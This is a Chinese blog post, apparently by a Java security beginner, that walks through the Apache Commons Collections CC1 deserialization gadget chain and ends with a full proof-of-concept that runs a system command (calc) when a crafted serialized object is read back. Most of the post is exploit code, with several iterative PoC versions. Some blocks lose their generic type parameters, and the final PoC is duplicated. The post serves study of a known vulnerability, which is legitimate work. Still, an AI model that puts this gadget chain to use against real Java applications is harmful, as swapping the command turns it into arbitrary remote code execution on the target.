前言
本人刚刚接触java安全(纯小白),自己的东西比较少,主要还是一个复现的过程师傅们见谅.
正文
普通的代码执行
java
Runtime.getRuntime().exec("calc");
java反射的代码执行
java
Runtime runtime = Runtime.getRuntime();
Class c = Runtime.class;
Method execMethod = c.getMethod("exec",String.class);
execMethod.invoke(runtime,"calc");
再看InvokerTransformer的transform
java
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
先来看看如何通过InvokerTransformer代码执行。看一下构造函数。
java
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
接收三个参数,由此可得
java
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(Runtime.getRuntime());
再找哪个类调用了transform,我们最终是要找到readObject实现反序列化
得到
最后找到TransformedMap的checkSetValue调用了transform,当然还有lazyMap
然后尝试利用TransformedMap这个类代码执行。
checkSeetValue
java
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
因为这个checkSetValue是私有方法,所以需要再往上找利用valueTransformer的地方
java
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
java
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
发现在decorate方法valueTransformer是可控的,所以可以调用TransformedMap.decorate。
有个问题是如何调用checkSetValue。
发现只有一个地方调用了checkSetvalue
```java
static class MapEntry extends AbstractMapEntryDecorator {
/* The parent map /
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}
```
利用这个entry.setValue的方法是循环调用MapEntry
现在的代码是
java
public class cc1 {
public static void main(String[] args) {
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
objectObjectHashMap.put("123","456");
Map<Object,Object> transformedMap = TransformedMap.decorate(objectObjectHashMap, null, invokerTransformer);
for (Map.Entry entry:transformedMap.entrySet()){
entry.setValue(Runtime.getRuntime());
}
}}
这里实际上是自己写了一个循环去遍历,我们还是要找到一个类去遍历这个transformedMap,如果这个类恰好存在readObject又可以遍历transformedMap就再好不过了,然后
恰好找到了这个类
这个AnnotationInvocationHandler里面的memberValue调用了setValue方法,同时memberValue又是可控的
AnnotationInvocationHandler没有定义方法类型,默认为deafult只能在本包内使用,所以要想使用这个类可以通过反射调用。
java
Map<Object,Object> transformedMap = TransformedMap.decorate(objectObjectHashMap, null, invokerTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationdhdlConstructor.setAccessible(true);
Object o = annotationInvocationdhdlConstructor.newInstance(Override.class,transformedMap);
```java
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class cc1 {
public static void main(String[] args) throws Exception {
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
```
这里遇到两个问题,一个是Runtime不能被序列化,还有实际是new了这个类
Runtime.getruntime()不能序列化但是Runtime.class可以被序列化。
java
Class c = Runtime.class;
Method getRuntimeMethod = c.getMethod("getRuntime",null);
Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r,"calc");
将它写成InvokerTransformer的形式,可以被序列化的版本
```java
Method getRuntimeMethod= (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
```
改完之后发现这是transform的循环调用,有一个类可以实现transofrom的循环调用就是ChainedTransformer。
然后看一下ChainedTransformer怎么用,看一下构造函数
```java
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
/**
* Transforms the input to result via each decorated transformer
*
* @param object the input object passed to the first transformer
* @return the transformed result
*/
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
```
需要传入一个Transformer[]数组,然后下面的transform实现一个递归调用
java
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
此时的Poc为
```java
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class cc1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap
objectObjectHashMap.put("123","456");
Map
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationdhdlConstructor.setAccessible(true);
Object o = annotationInvocationdhdlConstructor.newInstance(Override.class,transformedMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
```
发现这样还是执行不了,调试看一下发现if这里的memberType为空
通过调试发现此处的type为我们随意传入的注解Override,
然后跟一下这个Override,发现这个Override是空的
所以我们要找到一个注解且这个注解的内容不为空,然后看一下上面的Target
发现他存在一个value,所以我们要修改两个地方
这个时候的poc为
```java
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class cc1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap
objectObjectHashMap.put("value","456");
Map
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationdhdlConstructor.setAccessible(true);
Object o = annotationInvocationdhdlConstructor.newInstance(Target.class,transformedMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class cc1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap
objectObjectHashMap.put("value","456");
Map
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationdhdlConstructor.setAccessible(true);
Object o = annotationInvocationdhdlConstructor.newInstance(Target.class,transformedMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
```
运行poc即可代码执行
参考链接:
P神java漫谈
b站白日梦组长:CommonsCollections反序列化(一)
OceanSec: https://oceansec.blog.csdn.net/article/details/122497284?spm=1001.2014.3001.5502
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论